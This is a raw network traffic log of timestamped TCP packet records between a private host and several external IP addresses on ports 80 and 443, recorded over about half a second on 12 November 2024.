Nov 12, 2024 17:07:53.949155092 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.949156046 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.949168921 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.949192047 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.949208975 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.949353933 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.949390888 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.949460030 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.949472904 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.949484110 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.949496031 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.949506998 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.949507952 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.949522018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.949532032 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.949536085 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.949547052 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.949558020 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.949570894 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.949593067 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.949990034 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950004101 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950016022 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950026989 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950037956 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.950038910 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950050116 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.950052023 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950063944 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950077057 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950082064 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.950093031 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.950109959 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.950540066 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950555086 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950566053 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950579882 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950591087 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950592995 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.950603962 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950614929 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950620890 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.950628996 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950637102 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.950644016 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950656891 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950664043 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.950666904 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950680017 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950689077 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.950696945 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950704098 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.950710058 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950721979 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.950730085 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.950753927 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.951299906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.951370955 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.951405048 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.951416016 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.951416969 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.951436996 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.951464891 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.953010082 CET	443	49944	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.953073978 CET	443	49944	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.953172922 CET	49944	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.953315973 CET	49944	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.953336000 CET	443	49944	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.953346968 CET	49944	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.953351974 CET	443	49944	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.955450058 CET	49956	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.955491066 CET	443	49956	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.955771923 CET	49956	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.956154108 CET	49956	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.956172943 CET	443	49956	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.984585047 CET	443	49946	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.984942913 CET	49946	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.984968901 CET	443	49946	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.985409975 CET	49946	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.985416889 CET	443	49946	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.985580921 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.985605955 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.985649109 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.985662937 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.985702038 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.985718012 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.990190029 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.990206003 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.990217924 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.990243912 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.990266085 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.030303955 CET	443	49947	108.156.211.59	192.168.2.6
Nov 12, 2024 17:07:54.030538082 CET	49947	443	192.168.2.6	108.156.211.59
Nov 12, 2024 17:07:54.030564070 CET	443	49947	108.156.211.59	192.168.2.6
Nov 12, 2024 17:07:54.030900955 CET	443	49947	108.156.211.59	192.168.2.6
Nov 12, 2024 17:07:54.031181097 CET	49947	443	192.168.2.6	108.156.211.59
Nov 12, 2024 17:07:54.031253099 CET	443	49947	108.156.211.59	192.168.2.6
Nov 12, 2024 17:07:54.031348944 CET	49947	443	192.168.2.6	108.156.211.59
Nov 12, 2024 17:07:54.048386097 CET	443	49932	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:54.049026012 CET	49932	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:54.049073935 CET	443	49932	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:54.049190998 CET	49932	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:54.067395926 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.067452908 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.067455053 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.067466974 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.067491055 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.067506075 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.067570925 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.067584038 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.067612886 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.067630053 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.067678928 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.067691088 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.067718983 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.067735910 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.067801952 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.067812920 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.067823887 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.067837000 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.067869902 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.068001986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.068013906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.068026066 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.068037033 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.068048000 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.068058968 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.068068981 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.068089962 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.068317890 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.068329096 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.068339109 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.068351984 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.068363905 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.068375111 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.068382025 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.068402052 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.068414927 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.068640947 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.068654060 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.068675995 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.068686962 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.068686962 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.068698883 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.068701982 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.068710089 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.068722010 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.068722963 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.068751097 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.069056988 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069068909 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069108963 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.069122076 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.069211960 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069224119 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069235086 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069247007 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069255114 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069263935 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.069267035 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069272995 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.069281101 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069292068 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069294930 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.069320917 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.069330931 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.069497108 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069509029 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069518089 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069530010 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069539070 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.069540977 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069550991 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069555998 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.069564104 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069575071 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069582939 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.069602013 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.069624901 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.069874048 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069886923 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069897890 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069910049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069921017 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.069938898 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.069966078 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.069998980 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070059061 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.070139885 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070151091 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070163012 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070174932 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070177078 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.070185900 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070197105 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070202112 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.070207119 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070224047 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070228100 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.070235014 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070239067 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.070247889 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070270061 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.070297003 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.070763111 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070774078 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070784092 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070794106 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070806980 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070817947 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.070817947 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070830107 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070841074 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070846081 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.070852995 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070864916 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.070866108 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.070873022 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.070899963 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.079339027 CET	443	49947	108.156.211.59	192.168.2.6
Nov 12, 2024 17:07:54.120822906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.120903015 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.120920897 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.120934963 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.120948076 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.120992899 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.121391058 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.121417999 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.121463060 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.121476889 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.121500969 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.121517897 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.121658087 CET	443	49946	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.121733904 CET	443	49946	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.123992920 CET	49946	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.125430107 CET	49946	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.125446081 CET	443	49946	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.125473976 CET	49946	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.125478983 CET	443	49946	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.128267050 CET	49957	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.128293037 CET	443	49957	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.128374100 CET	49957	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.128519058 CET	49957	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.128529072 CET	443	49957	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.146651983 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.146728992 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.146743059 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.146759033 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.147008896 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.147072077 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.147088051 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.147104979 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.147124052 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.186999083 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.187035084 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.187047005 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.187078953 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.187103033 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.187146902 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.187158108 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.187170029 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.187457085 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.238035917 CET	443	49947	108.156.211.59	192.168.2.6
Nov 12, 2024 17:07:54.238224030 CET	443	49947	108.156.211.59	192.168.2.6
Nov 12, 2024 17:07:54.238321066 CET	49947	443	192.168.2.6	108.156.211.59
Nov 12, 2024 17:07:54.238766909 CET	49947	443	192.168.2.6	108.156.211.59
Nov 12, 2024 17:07:54.238780975 CET	443	49947	108.156.211.59	192.168.2.6
Nov 12, 2024 17:07:54.238799095 CET	49947	443	192.168.2.6	108.156.211.59
Nov 12, 2024 17:07:54.238814116 CET	49947	443	192.168.2.6	108.156.211.59
Nov 12, 2024 17:07:54.252469063 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.253094912 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.253123999 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.253456116 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.253778934 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.253839970 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.253997087 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.260521889 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.260972977 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.260984898 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.262250900 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.262339115 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.262881994 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.262964964 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.262990952 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.267659903 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.272607088 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.281073093 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.281277895 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.281289101 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.281605959 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.282113075 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.282183886 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.282278061 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.299330950 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.303328991 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.313189983 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.313200951 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.327331066 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.337879896 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.367475986 CET	49958	443	192.168.2.6	23.198.7.168
Nov 12, 2024 17:07:54.367508888 CET	443	49958	23.198.7.168	192.168.2.6
Nov 12, 2024 17:07:54.367989063 CET	49958	443	192.168.2.6	23.198.7.168
Nov 12, 2024 17:07:54.368000984 CET	49959	443	192.168.2.6	23.198.7.168
Nov 12, 2024 17:07:54.368043900 CET	443	49959	23.198.7.168	192.168.2.6
Nov 12, 2024 17:07:54.368092060 CET	49959	443	192.168.2.6	23.198.7.168
Nov 12, 2024 17:07:54.369126081 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.369292021 CET	49958	443	192.168.2.6	23.198.7.168
Nov 12, 2024 17:07:54.369304895 CET	443	49958	23.198.7.168	192.168.2.6
Nov 12, 2024 17:07:54.369551897 CET	49959	443	192.168.2.6	23.198.7.168
Nov 12, 2024 17:07:54.369571924 CET	443	49959	23.198.7.168	192.168.2.6
Nov 12, 2024 17:07:54.369899988 CET	49960	443	192.168.2.6	131.253.33.219
Nov 12, 2024 17:07:54.369946003 CET	443	49960	131.253.33.219	192.168.2.6
Nov 12, 2024 17:07:54.370116949 CET	49960	443	192.168.2.6	131.253.33.219
Nov 12, 2024 17:07:54.370630026 CET	49961	443	192.168.2.6	131.253.33.219
Nov 12, 2024 17:07:54.370654106 CET	443	49961	131.253.33.219	192.168.2.6
Nov 12, 2024 17:07:54.370803118 CET	49960	443	192.168.2.6	131.253.33.219
Nov 12, 2024 17:07:54.370816946 CET	443	49960	131.253.33.219	192.168.2.6
Nov 12, 2024 17:07:54.370879889 CET	49961	443	192.168.2.6	131.253.33.219
Nov 12, 2024 17:07:54.371211052 CET	49961	443	192.168.2.6	131.253.33.219
Nov 12, 2024 17:07:54.371227026 CET	443	49961	131.253.33.219	192.168.2.6
Nov 12, 2024 17:07:54.372759104 CET	443	49949	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.373631954 CET	49949	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.373646021 CET	443	49949	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.374255896 CET	49949	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.374269009 CET	443	49949	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.415999889 CET	443	49948	23.101.168.44	192.168.2.6
Nov 12, 2024 17:07:54.416373968 CET	49948	443	192.168.2.6	23.101.168.44
Nov 12, 2024 17:07:54.416385889 CET	443	49948	23.101.168.44	192.168.2.6
Nov 12, 2024 17:07:54.416731119 CET	443	49948	23.101.168.44	192.168.2.6
Nov 12, 2024 17:07:54.417152882 CET	49948	443	192.168.2.6	23.101.168.44
Nov 12, 2024 17:07:54.417253017 CET	443	49948	23.101.168.44	192.168.2.6
Nov 12, 2024 17:07:54.417274952 CET	49948	443	192.168.2.6	23.101.168.44
Nov 12, 2024 17:07:54.459335089 CET	443	49948	23.101.168.44	192.168.2.6
Nov 12, 2024 17:07:54.462771893 CET	49948	443	192.168.2.6	23.101.168.44
Nov 12, 2024 17:07:54.494291067 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.494316101 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.494332075 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.494383097 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.494394064 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.494421005 CET	49951	443	192.168.2.6	23.47.50.173
